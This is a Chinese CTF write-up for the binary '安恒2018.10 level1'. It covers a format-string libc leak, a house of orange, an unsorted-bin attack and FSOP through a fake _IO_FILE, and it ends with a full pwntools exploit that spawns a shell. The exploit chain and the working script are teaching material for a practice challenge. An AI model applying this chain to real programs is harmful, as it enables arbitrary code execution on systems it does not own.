程序功能分析

主程序是一个菜单,只有两个选项。一个是create,另一个是show。没有关于free的函数,所以可能会用到house of orange的技术来创造一个unsorted bin。

int play()
{int choice; // eaxint result; // eaxhelp();choice = get_choice();if ( choice == 2 )return show();if ( choice == 3 )exit(0);if ( choice == 1 )result = create();elseresult = write(1, "Sorry,Incorrect choice!\n", 0x18uLL);return result;
}

create函数能malloc一个不超过0x1000的堆块,并在bss端上记录这个指针。然后用gets向这个堆块中读入内容。

__int64 create()
{size_t size; // [rsp+Ch] [rbp-4h]printf("size: ");LODWORD(size) = read_num();if ( (unsigned int)size > 0x1000 ){puts("too long");exit(1);}buffer = malloc((unsigned int)size);printf("string: ");return gets(buffer);                          // 不限制长度,接收到\n为止,再把\n转换为\x00
}

show函数中有格式化字符串漏洞。buffer就是我们申请堆块的指针,其中的内容我们能控制。但是由于是用gets读入的,遇到\n(0xa0)就会截断,所以不能用来做任意地址写。但是我们可以较容易地泄漏出传参寄存器和栈上的数据。

int show()
{printf("result: ");return printf(buffer);                        // 格式化字符串
}

利用思路

由于开启了PIE和ASLR,下文中的地址可能不统一,但是后三位是准确的。

泄漏libc

一个典型的house of orange。首先我们要泄漏出libc的基址。这里就用show()中的格式化字符串漏洞来泄漏出libc。
在call printf的地方下断点,可以看到rdx寄存器的值在libc上,和libc的基址呈一个固定的offset。众所周知,64位程序调用函数传参数的过程中,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中,之后的参数才会保存在栈中。
RDX 0x7f3cdb1b8780 (_IO_stdfile_1_lock) ◂— 0x0
所以这个我们可以用

printf("%2$p")
来泄漏出rdx寄存器中的值。回顾一下%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。"2$"来规定偏移。

无中生有unsorted bin

由于这个程序中没有free函数,所以我们用house of orange的技术来获得一个unsorted bin。我们通过溢出来修改top chunk的size。并申请一个大于修改过的top chunk size大小的堆块,这样top chunk就会进入unsorted bin。但是需要满足一些要求:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

0x563efe6ea000: 0x0000000000000000      0x0000000000000021
0x563efe6ea010: 0x0000000070243225      0x0000000000000000
0x563efe6ea020: 0x0000000000000000      0x0000000000000021
0x563efe6ea030: 0x0000000000000000      0x0000000000000000
0x563efe6ea040: 0x0000000000000000      0x0000000000020fc1

0x563efe6ea020是我们新申请用来溢出的chunk。为了满足top chunk的内存页0x1000对齐的要求,我们可以把top chunk size的修改为0xfc1。

完成house of orange之后,可以看到unsorted bin中多了

unsortedbin
all: 0x558e4d5dc040 —▸ 0x7fee8d8bfb78 (main_arena+88) ◂— 0x558e4d5dc040

FSOP

接下来就是利用_IO_FILE attack来get shell,这块部分我先给出代码,再根据代码来进行讲解。

 #FSOPpayload = "e"*0x100fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60)   _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10)   #unsorted bin attack make _IO_list_all = &main_arena + 88fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptrfake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addrfake_file = fake_file.ljust(0xd8, "\x00") #mode<=0fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finishfake_file += p64(0x0)fake_file += p64(system_addr)payload += fake_filecreate(0x100, payload)

这里create了一个0x100的堆块,并进行了溢出。
这里我们回顾一下malloc大循环中(遍历unsorted bin)的流程。

  1. 从unsorted bin的bk指针向后遍历
  2. 拿到victim,判断victim大小,不能过大,也不过过小,否则触发malloc_printerr
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)|| __builtin_expect (chunksize_nomask (victim)> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",chunk2mem (victim), av);
  1. 如果unsorted bin中只有一个chunk并且last_remainder也指向这个chunk,并且申请的size+0x10又小于这个chunk的大小。那就进行对这个chunk分割,更新last remainder,返回申请到的chunk 。结束。
if (in_smallbin_range (nb) &&bck == unsorted_chunks (av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
  1. 把victim从unsorted bin中摘下
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
  1. 判断是否excat fit,如果是,就返回victim。结束。
  2. 把victim按照size大小放入对应的bins中

执行create(0x100, payload)之后我们能看到unsorted bin中的chunk结构已经被改变了。bins中显示,这个时候unsorted bin链表结构已经被破坏。

unsortedbin
all [corrupted]
FD: 0x55e8b28ee150 ◂— 0x0
BK: 0x55e8b28ee150 —▸ 0x7f1b1fbc0510 ◂— 0x0

知道了这个流程之后,我们看看接下来如果在申请一个chunk会怎么样(size不能是0x50)。假设我们申请一个0x20的chunk。

执行到步骤3进行判断,由于此时bck,已经被我们修改成_IO_list_all-0x10,所以bck == unsorted_chunks (av)不能通过。

进入4,把victim从victim从unsorted bin中摘下。注意

bck->fd = unsorted_chunks (av);

执行完之后_IO_list_all就指向了unsorted bin,也就是main_arena+88

步骤5跳过。

进入步骤6,由于我们把victim的size覆盖成了0x61,victim就会落入small bin(0x60)中。这里为什么要把victim放入0x60的bins中呢?这是因为_IO_FILE的_chain域的偏移是0x78,small bins的bk地址距离unsorted bin的偏移也是0x78。

再进入步骤1, victim = unsorted_chunks (av)->bk = bck现在是_IO_list_all-0x10的地址。

0x7f1b1fbc0510: 0x0000000000000000      0x0000000000000000
0x7f1b1fbc0520 <_IO_list_all>:  0x00007f1b1fbc0540      0x0000000000000000

进入步骤2,因为size=0,没有通过检验,执行printerr,如下图所示,触发abort,接着调用_IO_flush_all_lockp,从_IO_list_all指针开始,对每个_IO_FILE_plus结构调用flush函数,其中主要根据vtable来调用OVERFLOW。

因为之前的巧妙布置,_chain域的跳转就来到了我们自己布置的_IO_FILE_plus中来了。

 fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60)   _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10)   #unsorted bin attack make _IO_list_all = &main_arena + 88fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptrfake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addrfake_file = fake_file.ljust(0xd8, "\x00") #mode<=0fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finishfake_file += p64(0x0)fake_file += p64(system_addr)

这中间具体的为什么要这么步骤由于篇幅的原因就不讲了。可以参考下面两个链接,讲的很详细。
https://www.anquanke.com/post/id/168802#h3-6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/
这里就说一下几个要注意的地方。

  1. _IO_str_jump不能直接libc.symbols[“name”]来查询,要通过ida来找。
  2. _IO_FILE attack 不是每次执行都能成功,一定要libc基址的低32位大于0x80000000才能执行成功。

完整exp

#coding=utf-8
from pwn import *io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]def create(size, content):io.recvuntil("3:exit\n")io.sendline("1")io.recvuntil("size: ") # 限制 size<=0x1000io.sendline(str(size))io.recvuntil("string: ")io.sendline(content)def show():io.recvuntil("3:exit\n")io.sendline("2")io.recvuntil("result: ")#leak libc by format string attack
create(0x10, "%2$p")
show()
libc_addr = int(io.recvuntil("\n")[:-1], 16) - 0x3c6780
print("libc address:" + hex(libc_addr))system_addr = libc_addr + libc.symbols["system"]
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()
_IO_list_all_addr = libc_addr + libc.symbols["_IO_list_all"]
_IO_str_jump_addr = libc_addr + 0x3C37A0#house of orange
payload = "a"*0x18 + p64(0xfc1)
create(0x10, payload)
create(0x1000, "a")#FSOP
payload = "e"*0x100
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60)   _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10)   #unsorted bin attack make _IO_list_all = &main_arena + 88
fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
fake_file += p64(0x0)
fake_file += p64(system_addr)
payload += fake_filecreate(0x100, payload)gdb.attach(io)io.recvuntil("3:exit\n")
io.sendline("1")
io.recvuntil("size: ")
io.sendline("32")
#gdb.attach(io)io.interactive()

安恒2018.10 level1思路讲解相关推荐

  1. 训练日志 2018.10.7

    国庆7天假期,一直在学校没有回去,前几天在补 Java 交作业,后几天在看状压DP和树形DP,这几天宿舍里只有自己,在学习之余也能静下心来好好想想自己究竟想要什么. 关于 ACM,其实在去年省赛后,有 ...

  2. 10天精读掌握:计算机组成与设计(COAD:Patterson and Hennessy) (第4天 2018/10.29)

    10天精读掌握:计算机组成与设计COAD:Patterson and Hennessy 第4天 2018/10.29 1. 第4次周计划概览 2. 今日学习成果 3. 今日时间表 4. 今日反思 5. ...

  3. 10天精读掌握:计算机组成与设计(COAD:Patterson and Hennessy) (第3天 2018/10.26)

    10天精读掌握:计算机组成与设计COAD:Patterson and Hennessy 第3天 2018/10.26 1. 第4次周计划概览 2. 今日学习成果 今日成果简述 今日笔记 3. 今日时间 ...

  4. 【比赛报告】2018.10.15校赛[2015-9-13 NOIP模拟赛 by hzwer] NOIP练习赛卷十四

    比赛时间:2018.10.15 选手:lrllrl 用时:2h 得分:100+10+90=200 最初想法是一个背包问题.首先背包问题的模型肯定是不行的,但是我们可以列出状态转移方程后发现,每个状态决 ...

  5. No.044<软考>《(高项)备考大全》【第27章】运筹学计算(典型考题思路讲解)

    [第27章]运筹学计算(典型考题思路讲解) 1 章节概述 1.1 运筹学计算涉及到的题型 2 最优的函数值 3 线性规划 题1 题2 题3 4 动态规划 投资收益最大的问题 5 最小生成树 题1 题2 ...

  6. PEInfo编程思路讲解01 - 工具篇01|解密系列

    PEInfo编程思路讲解01 - 工具篇01 让编程改变世界 Change the world by program   软件安全是信息安全领域的重要内容,本系列视频教程将涉及到软件相关的加密.解密. ...

  7. 2018.10.17考试

    2018.10.17考试总结 1.咒语 (curse.pas/c/cpp) [题目描述] 亮亮梦到自己来到了魔法城堡, 但一扇巨大的石门阻拦了他通向城堡内的路.正当他沮丧之际,突然发现门上有一处机关, ...

  8. PEInfo编程思路讲解03 - 工具篇03|解密系列

    PEInfo编程思路讲解03 - 工具篇03 让编程改变世界 Change the world by program   软件安全是信息安全领域的重要内容,本系列视频教程将涉及到软件相关的加密.解密. ...

  9. 20172319 2018.10.12《Java程序设计教程》第6周课堂实践(补写博客)

    20172319 2018.10.12 <Java程序设计教程>第6周课堂测验 课程:<程序设计与数据结构> 班级:1723 学生:唐才铭 学号:20172319 指导老师:王 ...

最新文章

  1. Selenium如何通过location和size定位元素坐标?
  2. jenkins打完包在哪里
  3. 洛谷 [P1352] 没有上司的舞会
  4. wetech-cms内容管理系统源码
  5. java程序 计算器_简单计算器(java)
  6. Alexnet论文解读及代码实现
  7. Redis分布式锁及分区
  8. Binary XML file line #27: Error inflating class Listview
  9. python编程语言-Python有望超越Java排第二?风变编程解析编程语言新趋势
  10. Flash Player10一个非常牛的功能SaveBitmap
  11. idea 2018 破解教程
  12. C语言程序设计 课程设计报告
  13. gitee、github使用教程
  14. 一份新的lilypond谱子,能设置页边距和设置换页符了
  15. 终于知道什么叫BSS段
  16. 流体渐变_最新的10种Fluid Colors流体渐变壁纸制作方法
  17. 2008-09赛季NBA直播表(cctv5 广东体育)
  18. 【JVM系列3】方法重载和方法重写原理分析,看完这篇终于彻底搞懂了
  19. 「JLOI2015」战争调度 解题报告
  20. 求解一元三次方程的一个实数解

热门文章

  1. 【Matlab】数学建模_变异系数法
  2. P1053 [NOIP2005 提高组] 篝火晚会
  3. nvcc -V和nvidia-smi中的cuda版本不同
  4. Failure 与 Error
  5. 【计算机网络】知识点总结
  6. 正确简单地安装Tensorflow和Keras
  7. 如何批量打印流水且重复的条码数据
  8. ZJOI2019 麻将
  9. qt下使用opencascade源代码
  10. java集合set不能去重_java集合去重和排序